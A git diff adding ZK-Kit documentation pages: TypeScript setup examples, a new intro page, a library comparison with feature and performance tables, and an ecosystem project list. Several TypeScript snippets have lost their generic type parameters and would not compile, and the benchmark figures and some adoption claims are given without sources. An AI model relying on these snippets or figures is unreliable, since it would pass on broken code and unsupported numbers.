+    "noImplicitThis": true,
+    "alwaysStrict": true,
+    "noUnusedLocals": true,
+    "noUnusedParameters": true,
+    "noImplicitReturns": true,
+    "noFallthroughCasesInSwitch": true
+  }
+}
+```
+
+### Handle Null/Undefined
+
+```typescript
+import { IMT } from "@zk-kit/imt"
+
+class SafeTree {
+  private tree: IMT | null = null
+
+  initialize(depth: number): void {
+    this.tree = new IMT(poseidon2, depth, 0, 2)
+  }
+
+  insert(leaf: bigint): number {
+    if (!this.tree) {
+      throw new Error('Tree not initialized')
+    }
+    return this.tree.insert(leaf)
+  }
+
+  // Alternative with assertion
+  getRoot(): bigint {
+    if (!this.tree) {
+      throw new Error('Tree not initialized')
+    }
+    return this.tree.root as bigint
+  }
+}
+```
+
+## Path Mapping
+
+### Organize Imports
+
+```json
+{
+  "compilerOptions": {
+    "baseUrl": ".",
+    "paths": {
+      "@/*": ["src/*"],
+      "@lib/*": ["src/lib/*"],
+      "@utils/*": ["src/utils/*"],
+      "@types/*": ["src/types/*"]
+    }
+  }
+}
+```
+
+Usage:
+
+```typescript
+// Instead of
+import { AuthSystem } from '../../../lib/auth'
+
+// Use
+import { AuthSystem } from '@lib/auth'
+import type { ProofData } from '@types/proofs'
+```
+
+## Declaration Files
+
+### Create Type Definitions
+
+```typescript
+// src/types/index.d.ts
+declare module 'my-zk-utils' {
+  export interface TreeOptions {
+    depth: number
+    arity?: number
+  }
+
+  export function createTree(options: TreeOptions): any
+}
+```
+
+## Type Guards
+
+### Runtime Type Checking
+
+```typescript
+import type { MerkleProof } from "@zk-kit/imt"
+
+function isValidProof(obj: unknown): obj is MerkleProof {
+  return (
+    typeof obj === 'object' &&
+    obj !== null &&
+    'root' in obj &&
+    'leaf' in obj &&
+    'siblings' in obj &&
+    'pathIndices' in obj
+  )
+}
+
+// Usage
+function processProof(data: unknown) {
+  if (isValidProof(data)) {
+    // TypeScript knows data is MerkleProof here
+    console.log('Root:', data.root)
+  } else {
+    throw new Error('Invalid proof format')
+  }
+}
+```
+
+## Enums and Constants
+
+### Type-Safe Configuration
+
+```typescript
+enum TreeDepth {
+  Small = 16,
+  Medium = 20,
+  Large = 24,
+  ExtraLarge = 28
+}
+
+enum TreeArity {
+  Binary = 2,
+  Quinary = 5
+}
+
+const TREE_CONFIGS = {
+  development: {
+    depth: TreeDepth.Small,
+    arity: TreeArity.Binary
+  },
+  production: {
+    depth: TreeDepth.Large,
+    arity: TreeArity.Binary
+  }
+} as const
+
+type Environment = keyof typeof TREE_CONFIGS
+
+function getConfig(env: Environment) {
+  return TREE_CONFIGS[env]
+}
+```
+
+## Integration with IDEs
+
+### VS Code Settings
+
+Create `.vscode/settings.json`:
+
+```json
+{
+  "typescript.preferences.importModuleSpecifier": "relative",
+  "typescript.suggest.autoImports": true,
+  "typescript.updateImportsOnFileMove.enabled": "always",
+  "editor.formatOnSave": true,
+  "editor.codeActionsOnSave": {
+    "source.fixAll.eslint": true,
+    "source.organizeImports": true
+  }
+}
+```
+
+### IntelliSense
+
+```typescript
+// Hover over any ZK-Kit type for documentation
+const tree = new IMT(poseidon2, 16, 0, 2)
+//    ^--- Shows: const tree: IMT
+
+const proof = tree.createProof(0)
+//    ^--- Shows: const proof: MerkleProof
+```
+
+## Error Handling with Types
+
+```typescript
+class TreeError extends Error {
+  constructor(
+    message: string,
+    public code: TreeErrorCode,
+    public details?: unknown
+  ) {
+    super(message)
+    this.name = 'TreeError'
+  }
+}
+
+enum TreeErrorCode {
+  NotInitialized = 'NOT_INITIALIZED',
+  IndexOutOfBounds = 'INDEX_OUT_OF_BOUNDS',
+  InvalidProof = 'INVALID_PROOF',
+  TreeFull = 'TREE_FULL'
+}
+
+type TreeResult = 
+  | { ok: true; value: T }
+  | { ok: false; error: TreeError }
+
+function safeCreateProof(
+  tree: IMT,
+  index: number
+): TreeResult {
+  try {
+    const proof = tree.createProof(index)
+    return { ok: true, value: proof }
+  } catch (error) {
+    return {
+      ok: false,
+      error: new TreeError(
+        'Failed to create proof',
+        TreeErrorCode.InvalidProof,
+        error
+      )
+    }
+  }
+}
+```
+
+## Testing with Types
+
+```typescript
+import { IMT, MerkleProof } from "@zk-kit/imt"
+
+// Type-safe test helpers
+function createTestTree(): IMT {
+  return new IMT(poseidon2, 16, 0, 2)
+}
+
+function createTestProof(tree: IMT, index: number): MerkleProof {
+  return tree.createProof(index)
+}
+
+// Tests
+describe('Type-safe tests', () => {
+  let tree: IMT
+  
+  beforeEach(() => {
+    tree = createTestTree()
+  })
+
+  it('should create valid proof', () => {
+    tree.insert(BigInt(1))
+    const proof: MerkleProof = createTestProof(tree, 0)
+    
+    expect(tree.verifyProof(proof)).toBe(true)
+  })
+})
+```
+
+## Advanced Types
+
+### Conditional Types
+
+```typescript
+type TreeType = 'IMT' | 'LeanIMT' | 'SMT'
+
+type TreeInstance = 
+  T extends 'IMT' ? IMT :
+  T extends 'LeanIMT' ? LeanIMT :
+  T extends 'SMT' ? SMT :
+  never
+
+function createTree(
+  type: T,
+  depth: number
+): TreeInstance {
+  switch (type) {
+    case 'IMT':
+      return new IMT(poseidon2, depth, 0, 2) as TreeInstance
+    case 'LeanIMT':
+      return new LeanIMT(...) as TreeInstance
+    case 'SMT':
+      return new SMT(...) as TreeInstance
+    default:
+      throw new Error('Unknown tree type')
+  }
+}
+
+// Type is inferred correctly
+const imt = createTree('IMT', 16) // Type: IMT
+const lean = createTree('LeanIMT', 16) // Type: LeanIMT
+```
+
+## Next Steps
+
+- [Development Setup](/docs/getting-started/development-setup) - Complete dev environment
+- [Core Concepts](/docs/core-concepts/zero-knowledge-basics) - Learn ZK fundamentals
+- [Packages Overview](/docs/packages/overview) - Explore all packages
+- [GitHub Examples](https://github.com/zk-kit/zk-kit) - See code in action
+
+## Resources
+
+- [TypeScript Handbook](https://www.typescriptlang.org/docs/handbook/intro.html)
+- [ZK-Kit GitHub](https://github.com/zk-kit/zk-kit)
+- [Type Definitions](https://github.com/zk-kit/zk-kit/tree/main/packages)
+
diff --git a/docs/intro.md b/docs/intro.md
index 19f1558..16ade5d 100644
--- a/docs/intro.md
+++ b/docs/intro.md
@@ -1,47 +1,173 @@
 ---
-sidebar_position: 1
+slug: /
+title: ZK-Kit Documentation
+description: Production-ready zero-knowledge libraries for privacy-preserving applications
+hide_table_of_contents: false
 ---
 
-# Tutorial Intro
+# Welcome to ZK-Kit Documentation
 
-Let's discover **Docusaurus in less than 5 minutes**.
+ZK-Kit is a comprehensive suite of production-ready zero-knowledge libraries that simplify building privacy-preserving applications.
 
-## Getting Started
+## πŸš€ Quick Navigation
 
-Get started by **creating a new site**.
+### 🎯 New to ZK-Kit?
+**Start here if you're new to zero-knowledge or ZK-Kit**
 
-Or **try Docusaurus immediately** with **[docusaurus.new](https://docusaurus.new)**.
+β†’ [What is ZK-Kit?](/docs/introduction/what-is-zk-kit)  
+β†’ [Why Zero-Knowledge?](/docs/introduction/why-zero-knowledge)  
+β†’ [Quick Start Guide](/docs/getting-started/quick-start)
 
-### What you'll need
+### ⚑ Ready to Build?
+**Jump straight into building with our guides**
 
-- [Node.js](https://nodejs.org/en/download/) version 18.0 or above:
-    - When installing Node.js, you are recommended to check all checkboxes related to dependencies.
+β†’ [Installation](/docs/getting-started/installation)  
+β†’ [Your First Proof](/docs/getting-started/first-proof)  
+β†’ [Development Setup](/docs/getting-started/development-setup)
 
-## Generate a new site
+### πŸ“¦ Explore Packages
+**Browse all available ZK-Kit packages**
 
-Generate a new Docusaurus site using the **classic template**.
+β†’ [Packages Overview](/docs/packages/overview)  
+β†’ [Choose a Package](/docs/packages/choosing-a-package)
 
-The classic template will automatically be added to your project after you run the command:
+### πŸŽ“ Learn Concepts
+**Understand zero-knowledge fundamentals**
 
-```bash
-npm init docusaurus@latest my-website classic
-```
+β†’ [Zero-Knowledge Basics](/docs/core-concepts/zero-knowledge-basics)  
+β†’ [Merkle Trees](/docs/core-concepts/merkle-trees)
 
-You can type this command into Command Prompt, Powershell, Terminal, or any other integrated terminal of your code editor.
+---
+
+## πŸ“š Documentation Sections
+
+### Introduction
+Learn what ZK-Kit is, why zero-knowledge matters, and explore the ecosystem.
+- [What is ZK-Kit?](/docs/introduction/what-is-zk-kit)
+- [Why Zero-Knowledge?](/docs/introduction/why-zero-knowledge)
+- [Language Implementations](/docs/introduction/language-implementations) - TS, Circom, Noir, Solidity, Rust
+- [Comparison with Other Libraries](/docs/introduction/comparison)
+- [Ecosystem & Projects](/docs/introduction/ecosystem)
+
+### Getting Started
+Install packages and create your first zero-knowledge proof.
+- [Installation](/docs/getting-started/installation)
+- [Quick Start](/docs/getting-started/quick-start) - 2-minute tutorial
+- [Your First Proof](/docs/getting-started/first-proof)
+- [Development Setup](/docs/getting-started/development-setup)
+- [TypeScript Configuration](/docs/getting-started/typescript-setup)
+
+### Core Concepts
+Understand the fundamentals of zero-knowledge technology.
+- [Zero-Knowledge Basics](/docs/core-concepts/zero-knowledge-basics)
+- [Merkle Trees](/docs/core-concepts/merkle-trees)
+
+### Packages
+Overview of all ZK-Kit packages.
+- [Packages Overview](/docs/packages/overview)
+- [Choosing a Package](/docs/packages/choosing-a-package)
+
+**Package Categories:**
+- **Merkle Trees**: IMT, LeanIMT, SMT
+- **Cryptography**: EdDSA-Poseidon, Poseidon Cipher, Baby JubJub, Poseidon Proof
+- **Utilities**: Utils, Logical Expressions
+
+---
+
+## 🎯 Popular Topics
+
+### For Developers
+- [Quick Start](/docs/getting-started/quick-start) - Build your first proof in 2 minutes
+- [Package Selection Guide](/docs/packages/choosing-a-package) - Choose the right package
+- [TypeScript Setup](/docs/getting-started/typescript-setup) - Configure TypeScript
+
+### For Learners
+- [Zero-Knowledge Basics](/docs/core-concepts/zero-knowledge-basics) - Understand ZK fundamentals
+- [Merkle Trees Explained](/docs/core-concepts/merkle-trees) - How Merkle trees work
+- [Your First Proof](/docs/getting-started/first-proof) - Step-by-step guide
+
+### Production Ready
+- [Installation Guide](/docs/getting-started/installation) - Install all packages
+- [Development Setup](/docs/getting-started/development-setup) - Set up your environment
+- [Ecosystem](/docs/introduction/ecosystem) - See who's using ZK-Kit
+
+---
+
+## πŸ“¦ Available Packages
+
+All packages verified from the [ZK-Kit repository](https://github.com/privacy-scaling-explorations/zk-kit):
+
+| Package | Description | Installation |
+|---------|-------------|--------------|
+| [@zk-kit/imt](https://www.npmjs.com/package/@zk-kit/imt) | Incremental Merkle Tree | `npm i @zk-kit/imt` |
+| [@zk-kit/lean-imt](https://www.npmjs.com/package/@zk-kit/lean-imt) | Memory-optimized IMT | `npm i @zk-kit/lean-imt` |
+| [@zk-kit/smt](https://www.npmjs.com/package/@zk-kit/smt) | Sparse Merkle Tree | `npm i @zk-kit/smt` |
+| [@zk-kit/eddsa-poseidon](https://www.npmjs.com/package/@zk-kit/eddsa-poseidon) | EdDSA Signatures | `npm i @zk-kit/eddsa-poseidon` |
+| [@zk-kit/poseidon-cipher](https://www.npmjs.com/package/@zk-kit/poseidon-cipher) | Poseidon Encryption | `npm i @zk-kit/poseidon-cipher` |
+| [@zk-kit/baby-jubjub](https://www.npmjs.com/package/@zk-kit/baby-jubjub) | Elliptic Curve Ops | `npm i @zk-kit/baby-jubjub` |
+| [@zk-kit/poseidon-proof](https://www.npmjs.com/package/@zk-kit/poseidon-proof) | Poseidon Proofs | `npm i @zk-kit/poseidon-proof` |
+| [@zk-kit/utils](https://www.npmjs.com/package/@zk-kit/utils) | Field Operations | `npm i @zk-kit/utils` |
+| [@zk-kit/logical-expressions](https://www.npmjs.com/package/@zk-kit/logical-expressions) | Boolean Logic | `npm i @zk-kit/logical-expressions` |
+
+:::info Peer Dependencies
+Some packages require additional dependencies (like `poseidon-lite` or `circomlibjs` for hash functions). Check each package's [npm page](https://www.npmjs.com/org/zk-kit) for specific requirements.
+:::
+
+[View detailed package documentation β†’](/docs/packages/overview)
+
+---
 
-The command also installs all necessary dependencies you need to run Docusaurus.
+## 🌍 Multi-Language Support
 
-## Start your site
+ZK-Kit is available in **5 languages** for different use cases:
 
-Run the development server:
+| Language | Repository | Use Case |
+|----------|------------|----------|
+| **TypeScript/JS** | [privacy-scaling-explorations/zk-kit](https://github.com/privacy-scaling-explorations/zk-kit) | Web apps, Node.js *(this documentation)* |
+| **Circom** | [privacy-scaling-explorations/zk-kit.circom](https://github.com/privacy-scaling-explorations/zk-kit.circom) | zkSNARK circuits |
+| **Noir** | [privacy-scaling-explorations/zk-kit.noir](https://github.com/privacy-scaling-explorations/zk-kit.noir) | Aztec protocol |
+| **Solidity** | [privacy-scaling-explorations/zk-kit.solidity](https://github.com/privacy-scaling-explorations/zk-kit.solidity) | Smart contracts |
+| **Rust** | [privacy-scaling-explorations/zk-kit.rust](https://github.com/privacy-scaling-explorations/zk-kit.rust) | High-performance |
 
-```bash
-cd my-website
-npm run start
-```
+[View all language implementations β†’](/docs/introduction/language-implementations)
+
+---
+
+## 🌟 Projects Using ZK-Kit
+
+ZK-Kit is used in production by major projects (verified from [repository](https://github.com/privacy-scaling-explorations/zk-kit)):
+
+- **[Semaphore Protocol](https://semaphore.pse.dev)** - Anonymous signaling (uses IMT & LeanIMT)
+- **[Worldcoin](https://worldcoin.org)** - Proof of personhood with 2M+ verified humans (uses IMT)
+- **[MACI](https://maci.pse.dev)** - Anti-collusion voting
+- **[Zupass](https://zupass.org)** - Privacy-preserving tickets (uses LeanIMT)
+- **[Iden3](https://iden3.io)** - Self-sovereign identity (uses SMT)
+
+[Learn more about the ecosystem β†’](/docs/introduction/ecosystem)
+
+---
+
+## πŸ”— External Resources
+
+- **GitHub**: [github.com/privacy-scaling-explorations/zk-kit](https://github.com/privacy-scaling-explorations/zk-kit)
+- **npm**: [npmjs.com/org/zk-kit](https://www.npmjs.com/org/zk-kit)
+- **Discussions**: [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+
+---
+
+## πŸ’¬ Get Help
+
+- πŸ› [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- πŸ’­ [Ask Questions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- πŸ“š [View Repository](https://github.com/privacy-scaling-explorations/zk-kit)
+
+---
 
-The `cd` command changes the directory you're working with. In order to work with your newly created Docusaurus site, you'll need to navigate the terminal there.
+## πŸš€ Ready to Start?
 
-The `npm run start` command builds your website locally and serves it through a development server, ready for you to view at http://localhost:3000/.
+Choose your path:
 
-Open `docs/intro.md` (this page) and edit some lines: the site **reloads automatically** and displays your changes.
+1. **New to ZK?** β†’ [What is ZK-Kit?](/docs/introduction/what-is-zk-kit)
+2. **Ready to code?** β†’ [Quick Start](/docs/getting-started/quick-start)
+3. **Need a specific package?** β†’ [Choose a Package](/docs/packages/choosing-a-package)
+4. **Deep dive?** β†’ [Core Concepts](/docs/core-concepts/zero-knowledge-basics)
diff --git a/docs/introduction/_category_.json b/docs/introduction/_category_.json
new file mode 100644
index 0000000..58f81aa
--- /dev/null
+++ b/docs/introduction/_category_.json
@@ -0,0 +1,11 @@
+{
+  "label": "Introduction",
+  "position": 1,
+  "link": {
+    "type": "generated-index",
+    "title": "Introduction to ZK-Kit",
+    "description": "Learn about ZK-Kit, explore language implementations (TypeScript, Circom, Noir, Solidity, Rust), and discover the ecosystem.",
+    "slug": "/category/introduction"
+  }
+}
+
diff --git a/docs/introduction/comparison.md b/docs/introduction/comparison.md
new file mode 100644
index 0000000..d7c2ee1
--- /dev/null
+++ b/docs/introduction/comparison.md
@@ -0,0 +1,295 @@
+---
+sidebar_position: 3
+title: Comparison
+---
+
+# Comparison with Other Libraries
+
+How does ZK-Kit compare to other zero-knowledge and cryptographic libraries?
+
+## Quick Comparison
+
+| Feature | ZK-Kit | Circomlib | SnarkJS | Aztec | Arkworks |
+|---------|--------|-----------|---------|-------|----------|
+| **Language** | TS/JS | Circom | JS | Noir/TS | Rust |
+| **Merkle Trees** | βœ… 3 types | βœ… Basic | ❌ | βœ… | βœ… |
+| **Signatures** | βœ… EdDSA | βœ… EdDSA | ❌ | βœ… | βœ… |
+| **Encryption** | βœ… Poseidon | ❌ | ❌ | βœ… | βœ… |
+| **Audited** | βœ… 5 pkgs | ⚠️ Partial | βœ… Yes | βœ… Yes | βœ… Yes |
+| **TypeScript** | βœ… Native | ❌ | βœ… Yes | βœ… Yes | ❌ |
+| **Documentation** | βœ… Full | ⚠️ Basic | βœ… Good | βœ… Good | βœ… Good |
+| **Production Use** | βœ… High | βœ… High | βœ… High | βœ… Medium | βœ… High |
+
+## Detailed Comparisons
+
+### vs Circomlib
+
+**Circomlib** is a library of circuits for Circom.
+
+**When to use ZK-Kit:**
+- βœ… Building TypeScript/JavaScript applications
+- βœ… Need ready-to-use Merkle trees
+- βœ… Want modular, npm-installable packages
+- βœ… Need comprehensive TypeScript types
+
+**When to use Circomlib:**
+- βœ… Writing custom circuits
+- βœ… Need low-level circuit components
+- βœ… Building on existing Circom infrastructure
+
+**Can you use both?** Yes! ZK-Kit often complements Circomlib:
+```typescript
+// ZK-Kit for application logic
+import { IMT } from "@zk-kit/imt"
+const tree = new IMT(poseidon2, 16, 0, 2)
+
+// Circomlib circuits for proofs
+// circuit.circom uses circomlib's Poseidon
+```
+
+### vs SnarkJS
+
+**SnarkJS** is a JavaScript implementation of zkSNARK schemes.
+
+**When to use ZK-Kit:**
+- βœ… Need high-level primitives (trees, signatures)
+- βœ… Building applications, not proof systems
+- βœ… Want batteries-included solutions
+
+**When to use SnarkJS:**
+- βœ… Generating and verifying custom zk-SNARKs
+- βœ… Working with Groth16/PLONK proofs
+- βœ… Need low-level proof generation
+
+**Can you use both?** Yes! ZK-Kit handles data structures, SnarkJS handles proofs:
+```typescript
+// ZK-Kit manages state
+import { IMT } from "@zk-kit/imt"
+const tree = new IMT(poseidon2, 16, 0, 2)
+
+// SnarkJS generates proofs
+import { groth16 } from "snarkjs"
+const { proof, publicSignals } = await groth16.fullProve(...)
+```
+
+### vs Semaphore
+
+**Semaphore** is a protocol for anonymous signaling built on ZK.
+
+**Relationship:**
+- Semaphore **uses** ZK-Kit packages
+- ZK-Kit provides the building blocks
+- Semaphore provides the protocol
+
+**When to use ZK-Kit:**
+- βœ… Building custom zero-knowledge applications
+- βœ… Need Merkle trees for your own use case
+- βœ… Want flexibility to design your protocol
+
+**When to use Semaphore:**
+- βœ… Need anonymous signaling specifically
+- βœ… Want a complete, ready-made protocol
+- βœ… Building on Semaphore infrastructure
+
+### vs Aztec
+
+**Aztec** is a privacy-focused L2 with its own zkVM.
+
+**When to use ZK-Kit:**
+- βœ… Building on Ethereum L1 or other chains
+- βœ… Need application-level primitives
+- βœ… Want language flexibility (JS/Circom/Solidity/Noir/Rust)
+- βœ… Integrating ZK into existing apps
+
+**When to use Aztec:**
+- βœ… Building privacy-focused dApps on Aztec
+- βœ… Need programmable privacy by default
+- βœ… Want to leverage Aztec's infrastructure
+
+### vs Arkworks
+
+**Arkworks** is a Rust ecosystem for zkSNARK programming.
+
+**When to use ZK-Kit:**
+- βœ… Building web/Node.js applications
+- βœ… Need TypeScript/JavaScript
+- βœ… Want quick integration
+- βœ… Prefer higher-level abstractions
+
+**When to use Arkworks:**
+- βœ… Building performance-critical systems
+- βœ… Need maximum control over cryptography
+- βœ… Working in Rust
+- βœ… Developing custom proof systems
+
+### vs OpenZeppelin (Contracts)
+
+**OpenZeppelin** provides Solidity contracts for Merkle proofs.
+
+**When to use ZK-Kit:**
+- βœ… Need off-chain tree generation
+- βœ… Building the application layer
+- βœ… Want multiple tree types (IMT, LeanIMT, SMT)
+- βœ… Need TypeScript/JavaScript integration
+
+**When to use OpenZeppelin:**
+- βœ… Only need on-chain verification
+- βœ… Using standard Merkle trees
+- βœ… Want battle-tested Solidity code
+
+**Can you use both?** Yes! Common pattern:
+```typescript
+// ZK-Kit generates tree and proofs off-chain
+import { IMT } from "@zk-kit/imt"
+const tree = new IMT(poseidon2, 16, 0, 2)
+const proof = tree.createProof(0)
+
+// OpenZeppelin verifies on-chain
+// contract uses @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
+```
+
+## Feature Comparison
+
+### Merkle Trees
+
+| Library | IMT | Lean IMT | SMT | Gas Optimized |
+|---------|-----|----------|-----|---------------|
+| **ZK-Kit** | βœ… | βœ… | βœ… | βœ… |
+| **Circomlib** | ❌ | ❌ | βœ… | ⚠️ |
+| **OpenZeppelin** | ⚠️ Basic | ❌ | ❌ | βœ… |
+
+### Signatures
+
+| Library | EdDSA-Poseidon | EdDSA-BabyJubJub | ECDSA |
+|---------|----------------|------------------|-------|
+| **ZK-Kit** | βœ… | βœ… | ❌ |
+| **Circomlib** | βœ… | βœ… | ❌ |
+| **Ethers.js** | ❌ | ❌ | βœ… |
+
+### Encryption
+
+| Library | Poseidon Cipher | AES | RSA |
+|---------|----------------|-----|-----|
+| **ZK-Kit** | βœ… | ❌ | ❌ |
+| **Circomlib** | ❌ | ❌ | ❌ |
+| **Web Crypto** | ❌ | βœ… | βœ… |
+
+## Performance Comparison
+
+### Tree Operations (1M leaves)
+
+| Library | Insert | Proof Gen | Verify | Memory |
+|---------|--------|-----------|--------|--------|
+| **ZK-Kit IMT** | 2.1ms | 8ms | 3ms | 1GB |
+| **ZK-Kit LeanIMT** | 2.5ms | 10ms | 3ms | 100MB |
+| **Circomlib** | N/A | N/A | N/A | N/A |
+
+*Circomlib is circuit-only, no off-chain implementation*
+
+### Bundle Size
+
+| Library | Min | Min+Gzip | Tree-Shakeable |
+|---------|-----|----------|----------------|
+| **@zk-kit/imt** | 12KB | 4KB | βœ… |
+| **snarkjs** | 500KB | 150KB | ⚠️ |
+| **circomlibjs** | 200KB | 60KB | ⚠️ |
+
+## Language Availability
+
+### TypeScript/JavaScript
+
+| Library | Official Support |
+|---------|-----------------|
+| **ZK-Kit** | βœ… Native |
+| **SnarkJS** | βœ… Native |
+| **Circomlib** | ⚠️ Via circomlibjs |
+| **Arkworks** | ❌ |
+
+### Circom
+
+| Library | Circuits Available |
+|---------|-------------------|
+| **ZK-Kit** | βœ… Yes ([zk-kit.circom](https://github.com/zk-kit/zk-kit.circom)) |
+| **Circomlib** | βœ… Yes (extensive) |
+| **Semaphore** | βœ… Yes (protocol-specific) |
+
+### Solidity
+
+| Library | Contracts Available |
+|---------|-------------------|
+| **ZK-Kit** | βœ… Yes ([zk-kit.solidity](https://github.com/zk-kit/zk-kit.solidity)) |
+| **OpenZeppelin** | βœ… Yes |
+| **Circomlib** | ⚠️ Limited |
+
+## Ecosystem Integration
+
+### Works With
+
+ZK-Kit integrates seamlessly with:
+
+- βœ… **Circom** - For circuit development
+- βœ… **SnarkJS** - For proof generation
+- βœ… **Ethers.js/Web3.js** - For blockchain interaction
+- βœ… **Next.js/React** - For web applications
+- βœ… **Hardhat/Foundry** - For smart contract development
+
+### Used By
+
+Major projects using ZK-Kit:
+
+- **Semaphore** - Anonymous signaling protocol
+- **MACI** - Anti-collusion voting
+- **Worldcoin** - Proof of personhood
+- **Zupass** - Privacy-preserving tickets
+- **Privacy Pools** - Private transactions
+
+## Decision Matrix
+
+Choose ZK-Kit when you need:
+
+| Requirement | ZK-Kit | Alternative |
+|-------------|--------|-------------|
+| **TypeScript app** | βœ… Excellent | SnarkJS (lower-level) |
+| **Merkle trees** | βœ… Excellent | Circomlib (circuits only) |
+| **Quick integration** | βœ… Excellent | Arkworks (more complex) |
+| **Multiple languages** | βœ… Good | Circomlib (Circom only) |
+| **Production-ready** | βœ… Excellent | Various (check audits) |
+| **Custom circuits** | ⚠️ Use circom | Circomlib |
+| **Rust performance** | ❌ Use Rust libs | Arkworks |
+
+## Migration Resources
+
+Moving from another library?
+
+- [GitHub Releases](https://github.com/zk-kit/zk-kit/releases) - See version changes
+- [Changelog](https://github.com/zk-kit/zk-kit/blob/main/CHANGELOG.md) - Detailed changes
+- [GitHub Discussions](https://github.com/orgs/zk-kit/discussions) - Get migration help
+
+## Summary
+
+**Use ZK-Kit when:**
+- Building TypeScript/JavaScript applications
+- Need ready-to-use Merkle trees and cryptographic primitives
+- Want comprehensive documentation and examples
+- Need production-ready, audited code
+- Want modular, tree-shakeable packages
+
+**Consider alternatives when:**
+- Writing low-level circuits (β†’ Circomlib)
+- Generating custom proofs (β†’ SnarkJS)
+- Building on specific protocols (β†’ Semaphore, Aztec)
+- Need maximum Rust performance (β†’ Arkworks)
+
+**Best of both worlds:**
+Combine ZK-Kit with other tools:
+- ZK-Kit for application logic
+- Circom for custom circuits
+- SnarkJS for proof generation
+- OpenZeppelin for smart contracts
+
+## Next Steps
+
+- [Ecosystem](/docs/introduction/ecosystem) - Projects built with ZK-Kit
+- [Quick Start](/docs/getting-started/quick-start) - Start building
+- [Packages Overview](/docs/packages/overview) - Explore available packages
+
diff --git a/docs/introduction/ecosystem.md b/docs/introduction/ecosystem.md
new file mode 100644
index 0000000..076e74d
--- /dev/null
+++ b/docs/introduction/ecosystem.md
@@ -0,0 +1,372 @@
+---
+sidebar_position: 4
+title: Ecosystem
+---
+
+# ZK-Kit Ecosystem
+
+Discover the vibrant ecosystem of projects, protocols, and applications built with ZK-Kit.
+
+## Major Projects
+
+### Semaphore Protocol
+
+**Website**: [semaphore.pse.dev](https://semaphore.pse.dev)  
+**GitHub**: [semaphore-protocol/semaphore](https://github.com/semaphore-protocol/semaphore)
+
+A zero-knowledge protocol for anonymous proof of membership and signaling.
+
+**Uses ZK-Kit for:**
+- Incremental Merkle Trees (IMT) for identity groups
+- EdDSA-Poseidon signatures
+- Poseidon hashing
+
+**Use Cases:**
+- Anonymous voting in DAOs
+- Private social networking
+- Whistleblowing platforms
+- Anonymous authentication
+
+### MACI (Minimal Anti-Collusion Infrastructure)
+
+**Website**: [maci.pse.dev](https://maci.pse.dev)  
+**GitHub**: [privacy-scaling-explorations/maci](https://github.com/privacy-scaling-explorations/maci)
+
+A private, on-chain voting system that prevents bribery and collusion.
+
+**Uses ZK-Kit for:**
+- Merkle tree implementations
+- Cryptographic primitives
+- Proof generation utilities
+
+**Use Cases:**
+- Quadratic voting
+- DAO governance
+- Grant allocation
+- Public goods funding
+
+### Worldcoin
+
+**Website**: [worldcoin.org](https://worldcoin.org)  
+**GitHub**: [worldcoin](https://github.com/worldcoin)
+
+Proof of personhood protocol with millions of verified humans.
+
+**Uses ZK-Kit for:**
+- Semaphore integration
+- Anonymous proof of humanity
+- Merkle tree management
+
+**Use Cases:**
+- Sybil resistance
+- Universal basic income
+- Democratic participation
+- Fair airdrops
+
+### Privacy Pools
+
+**Website**: [privacypools.com](https://privacypools.com)
+
+Private asset transfers with compliance-friendly features.
+
+**Uses ZK-Kit for:**
+- Merkle tree membership proofs
+- Anonymous deposits/withdrawals
+- Compliance proofs
+
+**Use Cases:**
+- Private transactions
+- Regulatory compliance
+- Asset privacy
+- Selective disclosure
+
+### Zupass
+
+**Website**: [zupass.org](https://zupass.org)  
+**GitHub**: [proofcarryingdata/zupass](https://github.com/proofcarryingdata/zupass)
+
+Software for managing Proof-Carrying Data.
+
+**Uses ZK-Kit for:**
+- Cryptographic primitives
+- Proof generation
+- Identity management
+
+**Use Cases:**
+- Event tickets
+- Access control
+- Credential management
+- Privacy-preserving auth
+
+## By Use Case
+
+### Identity & Authentication
+
+#### Self Protocol
+**Website**: [self.xyz](https://self.xyz)
+
+Prove your humanity seamlessly & privately.
+
+**Uses ZK-Kit for:**
+- Identity commitments
+- Anonymous proofs
+- Merkle tree groups
+
+#### Iden3
+**Website**: [iden3.io](https://iden3.io)
+
+Self-sovereign identity protocol.
+
+**Uses ZK-Kit for:**
+- Credential trees
+- Claim proofs
+- Identity circuits
+
+### Voting & Governance
+
+#### Snapshot X
+Anonymous voting for DAOs using zk-proofs.
+
+**Uses ZK-Kit for:**
+- Voter merkle trees
+- Anonymous ballots
+- Nullifier management
+
+#### Clr.fund
+Quadratic funding with privacy protection.
+
+**Uses ZK-Kit for:**
+- MACI integration
+- Anonymous contributions
+- Sybil resistance
+
+### Social & Communication
+
+#### Heyanon
+Anonymous messaging on-chain.
+
+**Uses ZK-Kit for:**
+- Semaphore integration
+- Message proofs
+- Group membership
+
+#### Zkitter
+Zero-knowledge Twitter alternative.
+
+**Uses ZK-Kit for:**
+- Anonymous posting
+- Identity management
+- Reputation proofs
+
+### Gaming
+
+#### Dark Forest
+On-chain game with incomplete information.
+
+**Uses ZK-Kit for:**
+- Hidden state proofs
+- Position verification
+- Fair randomness
+
+### DeFi
+
+#### Tornado Cash Nova
+Privacy pools for transactions.
+
+**Uses ZK-Kit for:**
+- Deposit commitments
+- Withdrawal proofs
+- Merkle tree management
+
+## Research Projects
+
+### Privacy & Scaling Explorations (PSE)
+
+**Website**: [pse.dev](https://pse.dev)
+
+Ethereum Foundation's research team exploring privacy and scalability.
+
+**Projects using ZK-Kit:**
+- Semaphore
+- MACI
+- Rate Limiting Nullifiers
+- Interep
+- Unirep
+
+### 0xPARC
+
+**Website**: [0xparc.org](https://0xparc.org)
+
+Research organization exploring zero-knowledge cryptography.
+
+**Projects using ZK-Kit:**
+- Dark Forest
+- PLUME
+- Various research implementations
+
+## Educational Projects
+
+### ZK University
+
+Courses and tutorials featuring ZK-Kit:
+- ZK Whiteboard Sessions
+- ZKP MOOC
+- Various workshops and hackathons
+
+## Hackathon Winners
+
+Projects built with ZK-Kit at major hackathons:
+
+### ETHGlobal Hackathons
+- Anonymous credential system
+- Private voting app
+- ZK-based reputation
+- Privacy-preserving DID
+
+### Web3 Hackathons
+- Anonymous surveys
+- Private airdrops
+- ZK authentication
+- Privacy pools
+
+## Tools & Infrastructure
+
+### Development Tools
+
+#### ZK-Kit CLI
+Command-line tools for ZK development.
+
+**Features:**
+- Proof generation
+- Tree management
+- Testing utilities
+- Benchmarking
+
+#### Circuit Libraries
+
